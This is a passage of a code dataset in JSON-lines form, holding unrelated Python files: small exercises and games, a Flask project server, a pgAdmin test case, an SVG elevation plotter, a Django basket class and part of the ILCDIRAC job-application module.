arr: List[int]) -> int:\n self.A = arr\n return self.helper(0, len(self.A))\n \n def helper(self, i:int, j: int) -> int:\n if j - i <= 1:\n return 0\n \n if (i, j) in self.memo:\n return self.memo[(i, j)]\n \n minSum = float(\"inf\")\n for k in range(i + 1, j):\n product = max(self.A[i:k]) * max(self.A[k:j]) \n minSum = min(minSum, product + self.helper(i, k) + self.helper(k, j))\n self.memo[(i, j)] = minSum\n return minSum\n \n","sub_path":"python/minimum_cost_tree_from_leaf_values.py","file_name":"minimum_cost_tree_from_leaf_values.py","file_ext":"py","file_size_in_byte":820,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"15984272","text":"#!/usr/bin/env pyhton\n# __*__ coding:utf-8 __*__\ndef main():\n print(\"CONVERTIDOR DE SEGUNDOS A HORAS Y MINUTOS\")\n segundos = int(input(\"Escriba una cantidad de segundos: \"))\n\n horas = segundos // 3600\n resto_1 = segundos % 3600\n minutos = resto_1 // 60\n resto = resto_1 % 60\n\n print(\"{0} segundos son {2} horas, {1} minutos y {3} segundos\".format(segundos,minutos,horas,resto))\n\n\nif __name__ == \"__main__\":\n main()\n","sub_path":"PROBLEMAS resueltos/02_segundos.py","file_name":"02_segundos.py","file_ext":"py","file_size_in_byte":444,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"246836340","text":"import random\r\nimport sys\r\n\r\nchoices = ['ROCK', 'PAPER', 'SCISSORS']\r\n\r\nplayer_score = 0\r\ncpu_score = 0\r\npoints_to_win = 0\r\nround_count = 0\r\n\r\n#Ask player for their move and get random choice from computer in reponse\r\ndef chooseOption():\r\n global round_count\r\n round_count += 1\r\n print(\"\\n------------\")\r\n print(\"\\nRound\", round_count)\r\n while True:\r\n print(\"\\nRock, paper or scissors?\\n\")\r\n player_choice = input(\"> \").upper()\r\n if player_choice.upper() in choices:\r\n #Computer picks random move\r\n cpu_choice = random.choice(choices)\r\n print(cpu_choice)\r\n getResult(player_choice, cpu_choice)\r\n #Show error if player types unexpected input\r\n else:\r\n print(\"Invalid input\")\r\n return player_choice\r\n\r\n#Compare player choices and determine who won the round\r\n#Also determine if somebody reached the point limit\r\ndef getResult(player_choice, cpu_choice):\r\n global player_score\r\n global cpu_score\r\n if player_choice in \"ROCK\":\r\n if cpu_choice in \"ROCK\":\r\n print(\"It's a tie.\")\r\n elif cpu_choice in \"PAPER\":\r\n print(\"You lose.\")\r\n cpu_score += 1\r\n elif cpu_choice in \"SCISSORS\":\r\n print(\"You win.\")\r\n player_score += 1\r\n if player_choice in \"PAPER\":\r\n if cpu_choice == \"ROCK\":\r\n print(\"You win.\")\r\n player_score += 1\r\n elif cpu_choice in \"PAPER\":\r\n print(\"It's a tie.\")\r\n elif cpu_choice in \"SCISSORS\":\r\n print(\"You lose.\")\r\n cpu_score += 1\r\n if player_choice in \"SCISSORS\":\r\n if cpu_choice in \"ROCK\":\r\n print(\"You lose.\")\r\n cpu_score += 1\r\n elif cpu_choice in \"PAPER\":\r\n print(\"You win.\")\r\n player_score += 1\r\n elif cpu_choice in \"SCISSORS\":\r\n print(\"It's a tie.\")\r\n print(\"\\nPlayer -\", player_score, \"|\", \"CPU -\", cpu_score)\r\n if int(player_score) != int(points_to_win) and int(cpu_score) == int(points_to_win):\r\n chooseOption()\r\n elif int(player_score) == int(points_to_win):\r\n print(\"You are the winner!\")\r\n askContinue()\r\n elif int(cpu_score) == int(points_to_win):\r\n print(\"I win!\")\r\n askContinue()\r\n\r\n#Choose the amount of points required to win\r\ndef gameStart():\r\n global points_to_win\r\n while True:\r\n print(\"Up to how many points do you want to play to?\")\r\n points_to_win = input(\"> \")\r\n if points_to_win.isdigit():\r\n break\r\n else:\r\n print(\"Invalid input\")\r\n continue\r\n print(\"First one to get\", points_to_win, \"points wins.\")\r\n chooseOption()\r\n\r\n#Close the game\r\ndef gameEnd():\r\n sys.exit(0)\r\n\r\n#Restart the game and reset variables\r\ndef gameRestart():\r\n global player_score\r\n global cpu_score\r\n global points_to_win\r\n global round_count\r\n player_score = 0\r\n cpu_score = 0\r\n points_to_win = 0\r\n round_count = 0\r\n gameStart()\r\n\r\n#Ask the player if he wishes to play a rematch\r\ndef askContinue():\r\n while True:\r\n print(\"\\nDo you want to play again? [Y/N]\")\r\n user_decision = input(\"> \")\r\n if user_decision in (\"y\", \"Y\"):\r\n gameRestart()\r\n elif user_decision in (\"n\", \"N\"):\r\n gameEnd()\r\n else:\r\n print(\"Invalid input\")\r\n continue\r\n \r\n\r\nprint(\"Welcome to rock paper scissors!\")\r\ngameStart()","sub_path":"RockPaperScissors.py","file_name":"RockPaperScissors.py","file_ext":"py","file_size_in_byte":3481,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"400692928","text":"from random import randint\n\n\ndef createMatrix():\n n = int(input('Count of elements: '))\n m = int(input('Count of lists: '))\n return [[randint(0, 10) for i in range(n)] for j in range(m)]\n\nmatrix = createMatrix()\n\nrepeats = [max(line.count(elem) for elem in line) for line in matrix]\nprint(repeats.index(max(repeats)))","sub_path":"fedorov/twelvesDirectory/12.py","file_name":"12.py","file_ext":"py","file_size_in_byte":326,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"466797664","text":"\nfrom flask import *\nfrom jinja2 import Template\nimport os\napp = Flask(__name__, template_folder=\".\")\n\n@app.route(\"/\")\ndef root():\n projects = []\n for p in os.listdir(\"projects\"):\n proj = {\"url\":p}\n with open(os.path.join(\"projects\", p, \"README.md\")) as readme:\n for line in readme:\n if line.startswith(\"#\") and not proj.get(\"title\"):\n proj[\"title\"] = line[2:]\n elif proj.get(\"title\") and len(line) > 1:\n proj[\"description\"] = line\n break\n projects.append(proj)\n return render_template(\"index.html\", projects=projects)\n\ndef readf(fpath):\n try:\n fstring = open(fpath).read()\n except IOError:\n abort(404)\n return Response(fstring, mimetype=\"text/plain\")\n\n@app.route(\"/project//static/\")\ndef localstatic(projectname, filepath):\n fpath = os.path.join(\"projects\", projectname, \"static\", filepath)\n return readf(fpath)\n\n@app.route(\"/library//\")\ndef library(which, filename):\n return readf(os.path.join(which, filename))\n\n@app.route(\"/project/\")\ndef project(url):\n env = app.create_jinja_environment()\n env.loader = app.create_global_jinja_loader()\n f = open(\"projects/\"+url+\"/index.html\").read()\n t = env.from_string(f)\n return t.render(name=url)\n\nif __name__ == \"__main__\":\n import logging\n import sys\n if len(sys.argv) > 1:\n log = logging.getLogger('werkzeug')\n log.setLevel(logging.ERROR)\n app.run()\n else:\n app.run(debug=True)\n","sub_path":"server.py","file_name":"server.py","file_ext":"py","file_size_in_byte":1590,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"241719303","text":"# shuju = {}\n\n# while 1>0 :\n# a = input(\"请输入账号:\")\n# b= len(a)\n# if b >=5 and b<=8 and a[0] in \"qwertyuiopasdfghjklzxcvbnm\":\n# while 1>0 :\n# c = input(\"请输入密码:\")\n# if len(c) >=6 and len(c) <= 12:\n# print(\"注册成功!\")\n# shuju.update(a=c)\n# print(shuju)\n# exit()\n# else:\n# print(\"密码长度为6-12位!\")\n# else:\n# print(\"账号长度为5-8位,小写字母开头!\")\n\n\n# try:\n# a=input(\"姓名:\")\n# b=int(input(\"年龄:\"))\n# if b > 18:\n# print(a,\"成年了\")\n# else:\n# print(a,\"未成年\")\n# except Exception as e :\n# print(\"baocuo\",e)\n\n\nclass Fangzi():\n def __init__ (self,mingzi,huxing,daxiao,jiage):\n self.mingzi =mingzi\n self.huxing =huxing\n self.daxiao =daxiao\n self.jiage = jiage\n def gongneng(self):\n print(\"装逼\")\n\n\nmingzi =input(\"输入名字\")\nhuxing = input(\"输入户型\")\ndaxiao = input(\"输入大小\")\njiage = input(\"输入价格\")\nhhh = Fangzi(mingzi,huxing,daxiao,jiage)\nhhh.gongneng()\nprint(hhh.mingzi)","sub_path":"demo02.py","file_name":"demo02.py","file_ext":"py","file_size_in_byte":1178,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"594929019","text":"# #################################################################\n#\n# pgAdmin 4 - PostgreSQL Tools\n#\n# Copyright (C) 2013 - 2016, The pgAdmin Development Team\n# This software is released under the PostgreSQL Licence\n#\n# ##################################################################\n\nfrom pgadmin.utils.route import BaseTestGenerator\nfrom regression import test_utils as utils\nfrom pgadmin.browser.server_groups.servers.databases.tests import \\\n utils as database_utils\nfrom pgadmin.browser.server_groups.servers.tests import utils as server_utils\nfrom pgadmin.browser.server_groups.servers.databases.schemas.tests import \\\n utils as schema_utils\nfrom pgadmin.browser.server_groups.servers.databases.schemas.functions.tests \\\n import utils as func_utils\nfrom . import utils as event_trigger_utils\nimport json\n\n\nclass EventTriggerDeleteTestCase(BaseTestGenerator):\n \"\"\" This class will fetch added event trigger under database node. \"\"\"\n\n scenarios = [\n # Fetching default URL for event trigger node.\n ('Fetch Event Trigger Node URL',\n dict(url='/browser/event_trigger/obj/'))\n ]\n\n @classmethod\n def setUpClass(cls):\n \"\"\"\n This function perform the following tasks:\n 1. Add and connect to the test server(s)\n 2. Add database(s) connected to server(s)\n 3. Add schemas to connected database(s)\n 4. Add trigger function(s) to schema(s)\n 5. Add event trigger(s) to database(s)\n\n :return: None\n \"\"\"\n\n # Add the server\n server_utils.add_server(cls.tester)\n\n # Connect to servers\n cls.server_connect_response, cls.server_group, cls.server_ids = \\\n server_utils.connect_server(cls.tester)\n\n if len(cls.server_connect_response) == 0:\n raise Exception(\"No Server(s) connected to add the database!!!\")\n\n # Add databases to connected servers\n database_utils.add_database(cls.tester, cls.server_connect_response,\n cls.server_ids)\n\n schema_utils.add_schemas(cls.tester)\n\n func_utils.add_trigger_function(cls.tester, cls.server_connect_response,\n cls.server_ids)\n\n event_trigger_utils.add_event_trigger(cls.tester)\n\n def runTest(self):\n \"\"\" This function will delete event trigger under database node. \"\"\"\n\n del_response = event_trigger_utils.delete_event_trigger(self.tester)\n\n del_respdata = json.loads(del_response.data.decode(\"utf-8\"))\n\n self.assertTrue(del_respdata['success'], 1)\n\n @classmethod\n def tearDownClass(cls):\n \"\"\"\n This function delete the added schema, database, server and parent\n id file\n\n :return: None\n \"\"\"\n\n func_utils.delete_trigger_function(cls.tester)\n schema_utils.delete_schema(cls.tester)\n database_utils.delete_database(cls.tester)\n server_utils.delete_server(cls.tester)\n utils.delete_parent_id_file()\n","sub_path":"web/pgadmin/browser/server_groups/servers/databases/event_triggers/tests/test_event_trigger_delete.py","file_name":"test_event_trigger_delete.py","file_ext":"py","file_size_in_byte":3047,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"87712070","text":"#!/usr/bin/env python3\n\nimport sys\nimport svgwrite\n\nif len(sys.argv) > 1:\n UNIT = sys.argv[1]\nelse:\n UNIT = 'mi'\n\ndistances = []\nfor line in sys.stdin:\n (d, e) = line.split(' ', 2)\n distances.append((float(d), float(e)))\n\nMILES_PER_METER = 0.0006213712\nMETERS_PER_MILE = 1609.344\n\nSTEP_FOR = {\n 'km': 1000,\n 'mi': METERS_PER_MILE,\n }\n\nVERTICAL_STRETCH = 5\n\nmin_elev = min([e for d, e in distances])\nmax_elev = max([e for d, e in distances])\ntotal_meters = max([d for d, e in distances])\n\ntotal_miles = total_meters * MILES_PER_METER\n\nmx = max_elev * VERTICAL_STRETCH\nmn = min_elev * VERTICAL_STRETCH\npoints = [ (d, e * VERTICAL_STRETCH) for d, e in distances ]\nheight = mx - mn\nwidth = total_meters - 1\noffset = height + mn * 2\n\ndrawing = svgwrite.Drawing()\ndrawing.viewbox(0, mn, width, height)\ng = drawing.g(transform=f'matrix(1 0 0 -1 0 {offset})')\n\n# interval marker\nstep = STEP_FOR[UNIT]\ni = step\nwhile i < total_meters:\n line = drawing.line(start=(i, mn), end=(i, mx), stroke='black', stroke_width='.5%', stroke_opacity='0.5')\n line.set_desc(title=f'{int(i/step)}{UNIT}')\n g.add(line)\n i += step\n\n# elevation line\npolyline = drawing.polyline(points, stroke='black', stroke_width='.5%', fill='none')\n\ng.add(polyline)\ndrawing.add(g)\n\nprint(drawing.tostring())\n","sub_path":"plot.py","file_name":"plot.py","file_ext":"py","file_size_in_byte":1297,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"258689451","text":"\n\n\nclass Basket:\n \"\"\"\n A base Basket class, providing some default behaviours that\n can be inherented or overided, as necessary.\n \"\"\"\n\n def __init__(self, request):\n self.session = request.session\n basket = self.session.get('session_key')\n if 'session_key' not in request.session:\n basket = self.session['session_key'] = {}\n self.basket = basket\n\n def add(self, product, qty):\n \"\"\"\n Adding and updating the users basket session data\n \"\"\"\n product_id = product.id\n\n if product_id not in self.basket:\n self.basket[product_id] = {'price': str(product.price), 'qty':\n int(qty)}\n\n self.session.modified = True\n\n def __len__(self):\n \"\"\"\n Get the basket data and count of quantities\n \"\"\"\n\n return sum(item['qty'] for item in self.basket.values())\n","sub_path":"basket/basket.py","file_name":"basket.py","file_ext":"py","file_size_in_byte":900,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"144234701","text":"\"\"\"\nThis module contains the definition of the different applications that can\nbe used to create jobs.\n\nExample usage:\n\n>>> from ILCDIRAC.Interfaces.API.NewInterface.Applications import *\n>>> from ILCDIRAC.Interfaces.API.NewInterface.UserJob import * \n>>> from ILCDIRAC.Interfaces.API.DiracILC import DiracILC\n>>> dirac = DiracILC()\n>>> job = UserJob()\n>>> ga = GenericApplication()\n>>> ga.setScript(\"myscript.py\")\n>>> ga.setArguments(\"some arguments\")\n>>> ga.setDependency({\"mokka\":\"v0706P08\",\"marlin\":\"v0111Prod\"})\n>>> job.append(ga)\n>>> job.submit(dirac)\n\nIt's also possible to set all the application's properties in the constructor\n\n>>> ga = GenericApplication({\"Script\":\"myscript.py\", \"Arguments\":\"some arguments\", \\\n \"Dependency\":{\"mokka\":\"v0706P08\",\"marlin\":\"v0111Prod\"}})\n\nbut this is more an expert's functionality. \n\nRunning:\n\n>>> help(GenericApplication)\n\nprints out all the available methods.\n\n@author: Stephane Poss\n@author: Remi Ete\n@author: Ching Bon Lam\n\"\"\"\n\nfrom ILCDIRAC.Interfaces.API.NewInterface.Application import Application\nfrom ILCDIRAC.Core.Utilities.GeneratorModels import GeneratorModels\nfrom ILCDIRAC.Core.Utilities.InstalledFiles import Exists\nfrom ILCDIRAC.Core.Utilities.WhizardOptions import WhizardOptions, getDict\n\nfrom DIRAC.Core.Workflow.Parameter import Parameter\nfrom DIRAC import S_OK, S_ERROR\nfrom ILCDIRAC.Core.Utilities.CheckXMLValidity import CheckXMLValidity\n\nfrom math import modf\nfrom decimal import Decimal\nimport string, types, os\n\n\n################################################################# \n# Generic Application: use a script in an \n# application framework\n################################################################# \nclass GenericApplication(Application):\n \"\"\" Run a script (python or shell) in an application environment. \n \n Example:\n \n >>> ga = GenericApplication()\n >>> ga.setScript(\"myscript.py\")\n >>> ga.setArguments(\"some command line arguments\")\n >>> ga.setDependency({\"root\":\"5.26\"})\n \n \"\"\"\n def __init__(self, paramdict = None):\n self.script = None\n self.arguments = ''\n self.dependencies = {}\n ### The Application init has to come last as if not the passed parameters are overwritten by the defaults.\n super(GenericApplication, self).__init__( paramdict )\n #Those have to come last as the defaults from Application are not right\n self._modulename = \"ApplicationScript\"\n self.appname = self._modulename\n self._moduledescription = 'An Application script module that can execute any provided script in the given \\\n project name and version environment'\n \n def setScript(self, script):\n \"\"\" Define script to use\n \n @param script: Script to run on. Can be shell or python. Can be local file or LFN.\n @type script: string\n \"\"\"\n self._checkArgs( {\n 'script' : types.StringTypes\n } )\n if os.path.exists(script) or script.lower().count(\"lfn:\"):\n self.inputSB.append(script)\n self.script = script\n return S_OK()\n \n def setArguments(self, args):\n \"\"\" Optional: Define the arguments of the script\n \n @param args: Arguments to pass to the command line call\n @type args: string\n \n \"\"\"\n self._checkArgs( {\n 'args' : types.StringTypes\n } ) \n self.arguments = args\n return S_OK()\n \n def setDependency(self, appdict):\n \"\"\" Define list of application you need\n \n >>> app.setDependency({\"mokka\":\"v0706P08\",\"marlin\":\"v0111Prod\"})\n \n @param appdict: Dictionary of application to use: {\"App\":\"version\"}\n @type appdict: dict\n \n \"\"\" \n #check that dict has proper structure\n self._checkArgs( {\n 'appdict' : types.DictType\n } )\n \n self.dependencies.update(appdict)\n return S_OK()\n\n def _applicationModule(self):\n m1 = self._createModuleDefinition()\n m1.addParameter(Parameter(\"script\", \"\", \"string\", \"\", \"\", False, False, \"Script to execute\"))\n m1.addParameter(Parameter(\"arguments\", \"\", \"string\", \"\", \"\", False, False, \"Arguments to pass to the script\"))\n m1.addParameter(Parameter(\"debug\", False, \"bool\", \"\", \"\", False, False, \"debug mode\"))\n return m1\n \n def _applicationModuleValues(self, moduleinstance):\n moduleinstance.setValue(\"script\", self.script)\n moduleinstance.setValue('arguments', self.arguments)\n moduleinstance.setValue('debug', self.debug)\n \n def _userjobmodules(self, stepdefinition):\n res1 = self._setApplicationModuleAndParameters(stepdefinition)\n res2 = self._setUserJobFinalization(stepdefinition)\n if not res1[\"OK\"] or not res2[\"OK\"] :\n return S_ERROR('userjobmodules failed')\n return S_OK() \n\n def _prodjobmodules(self, stepdefinition):\n res1 = self._setApplicationModuleAndParameters(stepdefinition)\n res2 = self._setOutputComputeDataList(stepdefinition)\n if not res1[\"OK\"] or not res2[\"OK\"] :\n return S_ERROR('prodjobmodules failed')\n return S_OK() \n\n def _addParametersToStep(self, stepdefinition):\n res = self._addBaseParameters(stepdefinition)\n if not res[\"OK\"]:\n return S_ERROR(\"Failed to set base parameters\")\n return S_OK()\n \n def _setStepParametersValues(self, instance):\n self._setBaseStepParametersValues(instance)\n for depn, depv in self.dependencies.items():\n self._job._addSoftware(depn, depv)\n return S_OK()\n \n def _checkConsistency(self):\n \"\"\" Checks that script and dependencies are set.\n \"\"\"\n if not self.script:\n return S_ERROR(\"Script not defined\")\n elif not self.script.lower().count(\"lfn:\") and not os.path.exists(self.script):\n return S_ERROR(\"Specified script is not an LFN and was not found on disk\")\n \n #if not len(self.dependencies):\n # return S_ERROR(\"Dependencies not set: No application to install. If correct you should use job.setExecutable\")\n return S_OK() \n \n#################################################################\n# GetSRMFile: as its name suggests...\n################################################################# \nclass GetSRMFile(Application):\n \"\"\" Gets a given file from storage directly using srm path.\n \n Usage:\n \n >>> gf = GetSRMFile()\n >>> fdict = {\"file\" : \"srm://srm-public.cern.ch/castor/cern.ch/grid/ilc/prod/clic/1tev/Z_uds/gen/0/nobeam_nobrem_0-200.stdhep\",\"site\":\"CERN-SRM\"}\n >>> gf.setFiles(fdict)\n \n \"\"\"\n def __init__(self, paramdict = None):\n self.filedict = {}\n super(GetSRMFile, self).__init__( paramdict )\n self._modulename = \"GetSRMFile\"\n self.appname = self._modulename\n self._moduledescription = \"Module to get files directly from Storage\"\n\n def setFiles(self, fdict):\n \"\"\" Specify the files you need\n \n @param fdict: file dictionary: {file:site}, can be also [{},{}] etc.\n @type fdict: dict or list\n \"\"\"\n kwargs = {\"fdict\":fdict}\n if not type(fdict) == type({}) and not type(fdict) == type([]):\n return self._reportError('Expected dict or list of dicts for fdict', __name__, **kwargs)\n \n self.filedict = fdict\n\n def _applicationModule(self):\n m1 = self._createModuleDefinition()\n m1.addParameter(Parameter(\"srmfiles\", [], \"list\", \"\", \"\", False, False, \"list of files to retrieve\"))\n m1.addParameter(Parameter(\"debug\", False, \"bool\", \"\", \"\", False, False, \"debug mode\"))\n return m1\n\n def _applicationModuleValues(self, moduleinstance):\n moduleinstance.setValue(\"srmfiles\", self.filedict) \n moduleinstance.setValue(\"debug\", self.debug) \n \n def _userjobmodules(self, stepdefinition):\n res1 = self._setApplicationModuleAndParameters(stepdefinition)\n if not res1[\"OK\"] :\n return S_ERROR(\"userjobmodules method failed\")\n return S_OK() \n\n def _prodjobmodules(self, step):\n self._log.error(\"This application is not meant to be used in Production context\")\n return S_ERROR('Should not use in Production')\n\n \n def _checkConsistency(self):\n\n if not self.filedict:\n return S_ERROR(\"The file list was not defined\")\n \n if type(self.filedict) == type({}):\n self.filedict = [self.filedict]\n\n ##For the getInputFromApp to work, we nedd to tell the application about the expected OutputFile\n flist = ''\n for fdict in self.filedict:\n f = fdict['file']\n bname = f.split(\"/\")[-1]\n flist += bname+\";\"\n \n self.setOutputFile(flist.rstrip(\";\"))\n \n return S_OK()\n\n def _addParametersToStep(self, step):\n res = self._addBaseParameters(step)\n if not res[\"OK\"]:\n return S_ERROR(\"Failed to set base parameters\")\n return S_OK()\n\n\n#################################################################\n# ROOT master class\n################################################################# \nclass _Root(Application):\n \"\"\" Root principal class. Will inherit in RootExe and RootMacro classes, so don't use this (you can't anyway)!\n \"\"\"\n \n def __init__(self, paramdict = None):\n self.arguments = ''\n self.script = None\n super(_Root, self).__init__( paramdict )\n \n \n def setScript(self, script):\n \"\"\" Base method, overloaded in L{RootScript}\n \"\"\"\n self._log.error(\"Don't use this!\")\n return S_ERROR(\"Not allowed here\")\n \n \n def setMacro(self, macro):\n \"\"\" Base method, overloaded in L{RootMacro}\n \"\"\"\n self._log.error(\"Don't use this!\")\n return S_ERROR(\"Not allowed here\")\n\n \n def setArguments(self, args):\n \"\"\" Optional: Define the arguments of the script\n \n @param args: Arguments to pass to the command line call\n @type args: string\n \n \"\"\"\n self._checkArgs( {\n 'args' : types.StringTypes\n } ) \n self.arguments = args\n return S_OK()\n \n\n def _applicationModule(self):\n m1 = self._createModuleDefinition()\n m1.addParameter(Parameter(\"arguments\", \"\", \"string\", \"\", \"\", False, False, \"Arguments to pass to the script\"))\n m1.addParameter(Parameter(\"script\", \"\", \"string\", \"\", \"\", False, False, \"Script to execute\"))\n m1.addParameter(Parameter(\"debug\", False, \"bool\", \"\", \"\", False, False, \"debug mode\"))\n return m1\n \n \n def _applicationModuleValues(self, moduleinstance):\n moduleinstance.setValue('arguments', self.arguments)\n moduleinstance.setValue(\"script\", self.script)\n moduleinstance.setValue('debug', self.debug)\n \n \n def _userjobmodules(self, stepdefinition):\n res1 = self._setApplicationModuleAndParameters(stepdefinition)\n res2 = self._setUserJobFinalization(stepdefinition)\n if not res1[\"OK\"] or not res2[\"OK\"] :\n return S_ERROR('userjobmodules failed')\n return S_OK() \n\n\n def _prodjobmodules(self, stepdefinition):\n res1 = self._setApplicationModuleAndParameters(stepdefinition)\n res2 = self._setOutputComputeDataList(stepdefinition)\n if not res1[\"OK\"] or not res2[\"OK\"] :\n return S_ERROR('prodjobmodules failed')\n return S_OK() \n\n def _checkConsistency(self):\n \"\"\" Checks that script is set.\n \"\"\"\n if not self.script:\n return S_ERROR(\"Script or macro not defined\")\n if not self.version:\n return S_ERROR(\"You need to specify the Root version\")\n \n #res = self._checkRequiredApp() ##Check that job order is correct\n #if not res['OK']:\n # return res\n \n return S_OK()\n \n def _checkWorkflowConsistency(self):\n return self._checkRequiredApp()\n \n def _resolveLinkedStepParameters(self, stepinstance):\n if type(self._linkedidx) == types.IntType:\n self._inputappstep = self._jobsteps[self._linkedidx]\n if self._inputappstep:\n stepinstance.setLink(\"InputFile\", self._inputappstep.getType(), \"OutputFile\")\n return S_OK() \n\n#################################################################\n# Root Script Application: use a script in the \n# Root application framework\n################################################################# \nclass RootScript(_Root):\n \"\"\" Run a script (root executable or shell) in the root application environment. \n \n Example:\n \n >>> rootsc = RootScript()\n >>> rootsc.setScript(\"myscript.exe\")\n >>> rootsc.setArguments(\"some command line arguments\")\n \n \"\"\"\n def __init__(self, paramdict = None):\n self.script = None\n super(RootScript, self).__init__( paramdict )\n self._modulename = \"RootExecutableAnalysis\"\n self.appname = 'root'\n self._moduledescription = 'Root application script'\n \n \n def setScript(self, executable):\n \"\"\" Define executable to use\n \n @param executable: Script to run on. Can be shell or root executable. Must be a local file.\n @type executable: string\n \"\"\"\n self._checkArgs( {\n 'executable' : types.StringTypes\n } )\n\n self.script = executable\n if os.path.exists(executable) or executable.lower().count(\"lfn:\"):\n self.inputSB.append(executable)\n return S_OK()\n \n\n#################################################################\n# Root Macro Application: use a macro in the \n# Root application framework\n################################################################# \nclass RootMacro(_Root):\n \"\"\" Run a root macro in the root application environment. \n \n Example:\n \n >>> rootmac = RootMacro()\n >>> rootmac.setMacro(\"mymacro.C\")\n >>> rootmac.setArguments(\"some command line arguments\")\n \n \"\"\"\n def __init__(self, paramdict = None):\n self.script = None\n super(RootMacro, self).__init__( paramdict )\n self._modulename = \"RootMacroAnalysis\"\n self.appname = 'root'\n self._moduledescription = 'Root macro execution'\n \n \n def setMacro(self, macro):\n \"\"\" Define macro to use\n \n @param macro: Macro to run on. Must be a local C file.\n @type macro: string\n \"\"\"\n self._checkArgs( {\n 'macro' : types.StringTypes\n } )\n\n self.script = macro\n if os.path.exists(macro) or macro.lower().count(\"lfn:\"):\n self.inputSB.append(macro)\n return S_OK()\n\n\n#################################################################\n# Whizard: First Generator application\n################################################################# \nclass Whizard(Application):\n \"\"\" Runs whizard to generate a given event type\n \n Usage:\n \n >>> wh = Whizard(dirac.getProcessList())\n >>> wh.setProcess(\"ee_h_mumu\")\n >>> wh.setEnergy(500)\n >>> wh.setNbEvts(1000)\n >>> wh.setModel(\"sm\")\n\n \"\"\"\n def __init__(self, processlist = None, paramdict = None): \n \n self.parameterdict = {}\n self.model = 'sm' \n self.seed = 0\n self.lumi = 0\n self.jobindex = ''\n self._optionsdictstr = ''\n self.optionsdict = {}\n self.genlevelcuts = {}\n self._genlevelcutsstr = ''\n self._leshouchesfiles = None\n self._generatormodels = GeneratorModels()\n self.evttype = ''\n self.globalname = ''\n self.useGridFiles = False\n self._allowedparams = ['PNAME1', 'PNAME2', 'POLAB1', 'POLAB2', 'USERB1', 'USERB2',\n 'ISRB1', 'ISRB2', 'EPAB1', 'EPAB2', 'RECOIL', 'INITIALS', 'USERSPECTRUM']\n self._wo = None\n self.parameters = []\n self._processlist = None\n if processlist:\n self._processlist = processlist\n super(Whizard, self).__init__( paramdict )\n ##Those 4 need to come after default constructor\n self._modulename = 'WhizardAnalysis'\n self._moduledescription = 'Module to run WHIZARD'\n self.appname = 'whizard'\n self.datatype = 'gen'\n \n def getPDict(self):\n \"\"\" Provide predefined parameter dictionary\n \"\"\"\n return getDict()\n \n def setEvtType(self, evttype):\n \"\"\" Define process. If the process given is not found, when calling job.append a full list is printed.\n \n @param evttype: Process to generate\n @type evttype: string\n \"\"\"\n self._checkArgs( {\n 'evttype' : types.StringTypes\n } )\n if self.addedtojob:\n self._log.error(\"Cannot modify this attribute once application has been added to Job\")\n return S_ERROR(\"Cannot modify\")\n self.evttype = evttype\n\n def setGlobalEvtType(self, globalname):\n \"\"\" When producing multiple process in one job, it is needed to define this for the output file name.\n It's mandatory to use the L{setFullParameterDict} method when using this.\n \"\"\"\n self._checkArgs( {\n 'globalname' : types.StringTypes\n } )\n self.globalname = globalname\n\n def setLuminosity(self, lumi):\n \"\"\" Optional: Define luminosity to generate \n \n @param lumi: Luminosity to generate. Not available if cross section is not known a priori. Use with care.\n @type lumi: float\n \"\"\"\n self._checkArgs( {\n 'lumi' : types.FloatType\n } ) \n self.lumi = lumi\n\n def setRandomSeed(self, seed):\n \"\"\" Optional: Define random seed to use. Default is Job ID.\n \n @param seed: Seed to use during integration and generation. \n @type seed: int\n \"\"\"\n self._checkArgs( {\n 'seed' : types.IntType\n } )\n\n self.seed = seed\n \n def setParameterDict(self, paramdict):\n \"\"\" Parameters for Whizard steering files\n \n @param paramdict: Dictionary of parameters for the whizard templates. Most parameters are set on the fly.\n @type paramdict: dict\n \"\"\"\n self._checkArgs( {\n 'paramdict' : types.DictType\n } )\n\n self.parameterdict = paramdict\n\n def setGeneratorLevelCuts(self, cutsdict):\n \"\"\" Define generator level cuts (to be put in whizard.cut1)\n \n Refer to U{http://projects.hepforge.org/whizard/manual_w1/manual005.html#toc12} for details about how to set cuts.\n \n >>> wh.setGeneratorLevelCuts({'e1e1_o':[\"cut M of 3 within 10 99999\",\"cut E of 3 within 5 99999\"]})\n \n @param cutsdict: Dictionary of cuts\n @type cutsdict: dict\n \"\"\"\n self._checkArgs( {\n 'cutsdict' : types.DictType\n } )\n self.genlevelcuts = cutsdict\n\n def setFullParameterDict(self, pdict):\n \"\"\" Parameters for Whizard steering files, better than above as much more complete (cannot be more complete)\n \n >>> pdict = {}\n >>> pdict['process_input'] = {}\n >>> #processes below are not those of the templates, but those of the whizard.prc\n >>> pdict['process_input']['process_id']='h_n1n1'\n >>> pdict['process_input']['sqrts'] = 3000.\n >>> pdict['simulation_input'] = {}\n >>> pdict['simulation_input']['n_events'] = 100\n >>> pdict['beam_input_1'] = {}\n >>> pdict['beam_input_1']['polarization']='1.0 0.0'\n >>> pdict['beam_input_1']['USER_spectrum_mode'] = 11\n >>> pdict['beam_input_2'] = {}\n >>> pdict['beam_input_2']['polarization']='0.0 1.0'\n >>> pdict['beam_input_2']['USER_spectrum_mode'] = -11\n >>> wh.setFullParameterDict(pdict)\n \n The first key corresponds to the sections of the whizard.in, while the second corresponds to the possible parameters.\n All keys/values can be found in the WHIZARD documentation: \n U{http://projects.hepforge.org/whizard/manual_w1/manual005.html#toc11}\n \n @param pdict: Dictionnary of parameters\n @type pdict: dict\n \"\"\"\n self._checkArgs( {\n 'pdict' : types.DictType\n } )\n\n self.optionsdict = pdict\n #self._wo.changeAndReturn(dict)\n \n def setModel(self, model):\n \"\"\" Optional: Define Model\n \n @param model: Model to use for generation. Predefined list available in GeneratorModels class.\n @type model: string\n \"\"\" \n self._checkArgs( {\n 